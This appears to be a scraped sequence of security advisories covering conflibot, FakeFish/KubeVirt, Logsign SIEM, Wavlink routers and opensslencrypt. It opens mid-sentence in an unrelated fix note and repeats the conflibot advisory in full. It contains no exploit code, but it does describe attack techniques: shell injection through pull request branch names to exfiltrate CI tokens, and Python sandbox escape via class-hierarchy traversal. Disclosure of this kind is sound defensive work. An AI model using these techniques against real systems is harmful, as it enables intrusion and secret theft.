Fixed via defense-in-depth: (1) upper-bound validation at request ingress (400 on violation), (2) local clamping of the same quantities on validation-bypass paths (passthrough/metadata/multipart), and (3) centralized saturating conversions in common/quotamath.go that clamp to int32 and never wrap. Saturation events are additionally audited on the related consume/task log under admininfo.quotasaturation (admin-only) and via request-correlated backend warnings.
FakeFish handles incoming credentials by passing them down to scripts. This works for real hardware because in the end it's up to the BMC to validate them. However, KubeVirt relies on a KUBECONFIG file mounted to the container and completely ignores the credentials. This allows any user of the cluster to control VMs of the user that created fakefish, power them on and off, and mount arbitrary CD images to them.
Impact
Versions of conflibot before 1.2.1 build git commands by string interpolation and run them through a shell. Several of the interpolated values are pull request branch names (head.ref), which are attacker-controlled: anyone can open a pull request (including from a fork) whose head branch name contains shell metacharacters such as , $( ), ;, |, or &.
The recommended workflow runs conflibot on the pullrequesttarget event, where the job has access to the base repository's secrets and a write-scoped GITHUBTOKEN. As a result, a crafted branch name causes arbitrary command execution on the runner with that write token in the environment, allowing an attacker to exfiltrate secrets and the token, push to the repository, or otherwise abuse the token's permissions. No special privileges and no maintainer interaction are required — the action runs automatically when the pull request is opened.
Affected configurations
Any workflow using wktk/conflibot at a version earlier than 1.2.1. The risk is highest under pullrequesttarget (the documented configuration), because that is where the write token and secrets are exposed to attacker-influenced refs.
Patches
Fixed in 1.2.1 and 2.0.0. All git invocations now use argument arrays via execFile/spawn instead of a shell, so branch names can no longer be interpreted as shell syntax, and pull requests are referenced by number through refs/pull/<n>/head rather than by branch name.
Workarounds
There is no configuration-only workaround for affected versions. Upgrade to wktk/conflibot@v2. On GitHub-hosted runners this is a drop-in upgrade; self-hosted runners additionally need Node.js 24 support and git 2.38 or later.
Resources
- Fix (v2.0.0): https://github.com/wktk/conflibot/commit/0107ac6 - Fix (v1.2.1): https://github.com/wktk/conflibot/commit/59e255c - Releases: https://github.com/wktk/conflibot/releases/tag/v2.0.0 and https://github.com/wktk/conflibot/releases/tag/v1.2.1
Impact
Versions of conflibot before 1.2.1 build git commands by string interpolation and run them through a shell. Several of the interpolated values are pull request branch names (head.ref), which are attacker-controlled: anyone can open a pull request (including from a fork) whose head branch name contains shell metacharacters such as , $( ), ;, |, or &.
The recommended workflow runs conflibot on the pullrequesttarget event, where the job has access to the base repository's secrets and a write-scoped GITHUBTOKEN. As a result, a crafted branch name causes arbitrary command execution on the runner with that write token in the environment, allowing an attacker to exfiltrate secrets and the token, push to the repository, or otherwise abuse the token's permissions. No special privileges and no maintainer interaction are required — the action runs automatically when the pull request is opened.
Affected configurations
Any workflow using wktk/conflibot at a version earlier than 1.2.1. The risk is highest under pullrequesttarget (the documented configuration), because that is where the write token and secrets are exposed to attacker-influenced refs.
Patches
Fixed in 1.2.1 and 2.0.0. All git invocations now use argument arrays via execFile/spawn instead of a shell, so branch names can no longer be interpreted as shell syntax, and pull requests are referenced by number through refs/pull/<n>/head rather than by branch name.
Workarounds
There is no configuration-only workaround for affected versions. Upgrade to wktk/conflibot@v2. On GitHub-hosted runners this is a drop-in upgrade; self-hosted runners additionally need Node.js 24 support and git 2.38 or later.
Resources
- Fix (v2.0.0): https://github.com/wktk/conflibot/commit/0107ac6 - Fix (v1.2.1): https://github.com/wktk/conflibot/commit/59e255c - Releases: https://github.com/wktk/conflibot/releases/tag/v2.0.0 and https://github.com/wktk/conflibot/releases/tag/v1.2.1
Insufficiently Protected Credentials vulnerability in Innotim Software Telecommunications and Consulting Trade Ltd. Co. Logsign SIEM allows Retrieve Embedded Sensitive Data.
This issue affects Logsign SIEM: from 6.4.97 before 6.4.114.
A vulnerability was determined in Wavlink WN531P3 and WN535M1 V250922. Affected by this vulnerability is the function strcpy of the file /etc/lighttpd/www/cgi-bin/exportpingortrace.cgi of the component Export Pingortrace CGI. Executing a manipulation of the argument HTTPCOOKIE can lead to stack-based buffer overflow. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure.
opensslencrypt versions before 1.4.0 contain a critical vulnerability in pqc.py where KEM decapsulation failures silently fall back to simulation mode, generating a deterministic shared secret from only 16 bytes of the private key and publicly available encapsulated key data. Attackers who obtain 16 bytes of the private key can compute the shared secret and decrypt all ciphertext, as the fallback triggers on any KEM failure without raising an error.
opensslencrypt versions before 1.4.0 contain an authentication bypass vulnerability in pqc.py where AES-GCM decryption failures trigger fallback to unauthenticated AES-CTR mode. Attackers can modify ciphertext in transit to bypass integrity verification and perform bit-flipping attacks without detection.
opensslencrypt versions before 1.4.0 contain a sandbox escape vulnerability in IsolatedPluginExecutor that exposes Python type objects in restricted exec() builtins. Attackers can traverse the Python class hierarchy via class.mro.subclasses() to access system functions and execute arbitrary OS commands.
opensslencrypt versions before 1.4.0 fail to apply sandbox restrictions in the default process isolation mode for plugin execution. Attackers can execute malicious plugins with unrestricted access to the filesystem, network, subprocess execution, and all Python modules.
opensslencrypt versions before 1.4.0 contain a sandbox escape vulnerability in the DangerousPatternVisitor AST analyzer that fails to detect dunder attribute traversal techniques. Attackers can use class, bases, subclasses(), and globals chains to access restricted functions and execute arbitrary system commands from plugin code.
opensslencrypt before 1.4.0 contains an authentication bypass vulnerability in the verifyapitoken function that accepts any non-empty Bearer token string without validation. Attackers can upload arbitrary public keys, enumerate all keys, and revoke keys belonging to any user by providing any Bearer token in the Authorization header.
opensslencrypt versions before 1.4.0 use HKDF with no salt and static info parameter in key normalization functions, reducing entropy extraction and determinism. Attackers can exploit predictable key derivation with identical inputs to weaken cryptographic security against multi-target attacks.